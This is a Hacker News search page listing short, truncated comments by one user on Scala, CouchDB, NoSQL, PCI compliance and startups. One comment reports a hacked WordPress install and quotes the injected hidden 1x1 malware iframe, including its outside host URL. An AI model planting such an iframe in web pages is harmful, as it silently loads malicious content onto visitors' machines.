Y
HN Search
Hacker News Search
new
|
comments
|
top
|
jobs
mark242
searching PlanetScale…
1.
▲
2.
▲
3.
▲
4.
▲
5.
▲
6.
▲
34 ms
·
331.
▲
by
mark242
15y ago
CPU speed and bus speed is finite on the machine you're running on. Using setTimeout to poll the results of some thread you've spawned to run a calculation is _worse_ performance than just blocking in the first place, because now when you t
332.
▲
by
mark242
15y ago
Note to Ted: next time, just use sleep().
333.
▲
by
mark242
15y ago
Holy god. The post mentions "We evaluated a few different NoSQL solutions, but (...)". I couldn't even imagine having to _think_ about this sort of thing; CouchDB makes this an absolute no-brainer. I mean, the act of creating a document ass
334.
▲
by
mark242
15y ago
What, a servlet that does a split and a concat?
335.
▲
by
mark242
15y ago
Implementing Actors, and by extension the Observer pattern, is just so ridiculously easy in Scala. observers.foreach(o => o ! myEvent) ...and you're sending asynchronous events to each of the observers. With Akka, you can have those act
336.
▲
by
mark242
15y ago
I utterly, completely, totally disagree with this post. May I cite: http://www.scala-lang.org/node/10714 Kids can learn Scala. It isn't "hard", any more so than the syntax of any language is "hard". It's just another syntax to represent t
337.
▲
by
mark242
15y ago
Let this post be a warning to web entrepreneurs everywhere-- if you take shortcuts like this, your business will get burned at some point in the future. Every single thing you've just said is wrong. Every single thing. First -- "the chances
338.
▲
by
mark242
15y ago
Can you please list out the applications you've created? I'd like to add them to my "never ever register on these sites" list. If you're only worrying about injection attacks "...after you gain some traction" or "...when it becomes an issue
339.
▲
by
mark242
15y ago
The death of the newspaper industry has absolutely nothing to do with kids downloading pirated music or movies, and absolutely everything to do with the fact that it costs someone precisely $0 to post an ad on Craigslist or read _more_ _tim
340.
▲
by
mark242
15y ago
This is fantastic. Google created a stylesheet like this once, a while ago, that was extremely lacking when it came to real-world actions and layout. This is incredible.
341.
▲
by
mark242
15y ago
Somebody's Wordpress install got hacked, and is serving up this malware iframe: <iframe src=" http://d22cjhny6e.co.tv/?go=1 width="1" height="1"></iframe>
342.
▲
by
mark242
15y ago
I hate to break this to you, but for any larger merchant, you're going to be SOL, for one basic reason: PCI compliance. Unless you spend a ridiculous amount of time and money researching and implementing things like key management, credit c
343.
▲
by
mark242
15y ago
You blame the architect, who didn't adequately cook in automated test cases to catch data integrity bugs.
344.
▲
by
mark242
15y ago
It's unenforceable. Check page 19 of "Programming the Logic Theory Machine", by Newell and Shaw, published in 1957, for prior art.
345.
▲
by
mark242
15y ago
You don't need to worry about the versioning for a document that you never update. You can just blast the logfiles into the database and not worry about conflicts. Similarly, database compaction is really the biggest concern when you're upd
346.
▲
by
mark242
15y ago
Absolutely it would be great for logging. Assuming that you don't need atomicity for your logs (eg, I want to see that log line reflect in my reports _right_ _now_) Couch is a perfect way to dump a huge amount of data really quickly. For r
347.
▲
by
mark242
15y ago
I'm a little biased, being a pretty heavy CouchDB user, but it seems like Mongo is claiming that their auto-sharding is the defining reason to use Mongo. The forthcoming release of Couchbase 2.0 is going to have the same type of functionali
348.
▲
by
mark242
15y ago
I would go so far as to "bypass" the spec of CouchDB -- at least for Pouch -- by doing a sort of auto-compaction, clearing out the database of the previous revision at storage time, and only storing the latest revision. This doesn't stop yo
349.
▲
by
mark242
15y ago
The devil's advocate argument is that it isn't readily apparent that you're using the ages array until you look deep inside the loop. With the scala code, especially with the functional syntax, you know what elements you're working with rig
350.
▲
by
mark242
15y ago
Actually, the functional alternative in scala is this: persons.filter(_.age >= 18).foreach(p => { (code here) }); That is way, way more readable, imho.
351.
▲
by
mark242
15y ago
Yes, total and complete fail, after going through what seems like a pretty standard 2-driver use case. There's no sort of progress meter, so I don't know how long I have to wait, and after the N/A quotes there's still a spinner running, so
352.
▲
by
mark242
15y ago
Coincidence? "Randi Zuckerberg to leave Facebook..." http://news.cnet.com/8301-1023_3-20087785-93/randi-zuckerber... I think someone likely said, "enough is enough" and forced her out.
353.
▲
by
mark242
15y ago
I'm at the CouchConf -- the demo of UnQL was fantastic. The idea is that you shouldn't be locked into a NoSQL database, and that one language that would work across all NoSQL databases will grow the community. How each database manages thei
354.
▲
by
mark242
15y ago
Browser trends from a fairly-well-trafficked site, this month: 31% IE8, 18% Firefox, 16% Safari, 11% Chrome, 11% IE7, 10% IE9, 3% Other (IE6, mostly). IE8 has dropped 12% share in a year. Firefox has dropped 2% in a year. Safari has climbed
355.
▲
by
mark242
15y ago
"When I'm at an event -- say, a concert -- there are hundreds of people around me taking lots of different pictures." You're absolutely correct. They just aren't using Color, and that's the problem. Every single person I've talked to has sa
356.
▲
by
mark242
15y ago
"...or if you've gone and apologized to the network infrastructure guys for causing problems..." Read the indictment. He started on Sep 25th. He was blocked by IP on Sep 25. He switched his IP on Sep 26. The entire netblock was then blocked
357.
▲
by
mark242
15y ago
A solid legal argument for switching your MAC address, hiding a laptop in a closet, and deliberately concealing your face to try to avoid recognition? He isn't going to win that defense.
358.
▲
by
mark242
15y ago
So I just fired up Color again, because every time I hear a gloom-and-doom story about Color, I feel the need to look at the car crash again. And once again, sitting in my office, Los Angeles, a place where you would expect there to be some
359.
▲
by
mark242
15y ago
"You made more or less my point -- but my point was that Scala provides too much; and I don't want to choose a subset, as my subset will be different than yours." Sorry, but that's the most ass-backwards point I've heard. The language provi
360.
▲
by
mark242
15y ago
"The perfect Java replacement would have"... "local type inference". That's Scala. List(1,2,3) "less verbosity (e.g. public by default)". That's Scala. def myMethod(arg:Int=1, arg:String="myDefaultValue") ... with no boilerplate crap. "full
More ›